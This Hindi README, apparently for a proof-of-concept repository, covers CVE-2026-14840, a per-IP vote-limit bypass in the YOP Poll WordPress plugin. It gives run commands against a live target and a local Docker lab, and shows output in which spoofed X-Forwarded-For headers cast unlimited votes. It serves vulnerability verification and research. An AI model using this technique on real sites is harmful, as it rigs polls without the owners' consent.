CVE-2026-14840 — YOP Poll < 7.0.6 वोट सीमा बायपास

लेखक: nullwhisper
उपयोग-मामला: केवल अधिकृत सुरक्षा अनुसंधान / भेद्यता सत्यापन के लिए।

यह क्या है?

YOP Poll प्लगइन संस्करण < 7.0.6 एक-वोट-प्रति-IP सीमा लागू करता है। समस्या यह है कि क्लाइंट IP प्राप्त करने के लिए यह REMOTE_ADDR से पहले HTTP_CLIENT_IP और HTTP_X_FORWARDED_FOR की जाँच करता है। ये दोनों हेडर हमलावर-नियंत्रित हैं, इसलिए एक अनधिकृत उपयोगकर्ता हर अनुरोध पर नया IP नकली बना सकता है और असीमित वोट डाल सकता है।

• CVE: CVE-2026-14840
• उत्पाद: YOP Poll WordPress प्लगइन
• प्रभावित: < 7.0.6
• समाधान: 7.0.6
• प्रकार: एक्सेस-नियंत्रण बायपास
• CVSS: 5.3

संदर्भ

• WPScan: https://wpscan.com/vulnerability/fc810ca2-3f27-414d-b94a-68842925b7c6/
• CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-14840
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-14840

फ़ाइलें

.
├── cve_2026_14840_poc.py   # Main PoC
├── lab/
│   ├── docker-compose.yml  # WordPress lab
│   └── setup.php           # Creates a poll + public test page
├── requirements.txt
└── README.md

इंस्टॉल

pip3 install -r requirements.txt

उपयोग

लाइव टार्गेट

python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10

-n डाले जाने वाले वोटों की संख्या है। यदि एक से अधिक वोट स्वीकार होते हैं, तो टार्गेट भेद्य है।

जब साइट WordPress सादे permalink का उपयोग करती है और /wp-json/... HTML लौटाता है, तो स्क्रिप्ट स्वचालित रूप से ?rest_route=/yop-poll/v1/votes पर फ़ॉल बैक करती है।

स्थानीय लैब

1. भेद्य प्लगइन डाउनलोड करें (प्लगइन बाइनरी को पुनर्वितरित न करें):

   root@kitploit:~

   mkdir -p lab/yop-poll
   cd lab/yop-poll
   wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
   unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
   cd ../..
   

2. लैब शुरू करें:

   root@kitploit:~

   cd lab
   docker compose up -d
   

3. http://127.0.0.1:8090 पर WordPress इंस्टॉलर पूरा करें।

4. पोल और टेस्ट पेज बनाएँ:

   root@kitploit:~

   docker exec -i lab-wpcli-1 php /tmp/setup.php
   

5. PoC चलाएँ:

   root@kitploit:~

   python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
   

लोकलहोस्ट पर सत्यापित

WordPress 6.8 + YOP Poll 7.0.5 पर डिफ़ॉल्ट सादे permalink के साथ परीक्षण किया गया।

एक ही IP तीन बार — सीमा काम करती है:

#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.

हर अनुरोध पर अलग IP X-Forwarded-For के माध्यम से — बायपास काम करता है:

#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.

wp_yoppoll_votes तालिका प्रति नकली IP एक पंक्ति बढ़ती है, जो पुष्टि करती है कि प्रति-IP सीमा बायपास हो गई है।

प्लगइन शामिल क्यों नहीं है

इस रिपॉज़िटरी में केवल PoC और लैब ऑर्केस्ट्रेशन फ़ाइलें हैं। YOP Poll प्लगइन GPL-2.0+ है, लेकिन पूरी प्रति वितरित करना अनावश्यक है, रिपॉज़िटरी को भारी बनाता है, और समस्याएँ पैदा कर सकता है। अपनी खुद की लैब के लिए WordPress.org से संस्करण 7.0.5 डाउनलोड करें।

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है। इसका उपयोग उन प्रणालियों पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। लेखक इस कोड के कारण होने वाले दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है।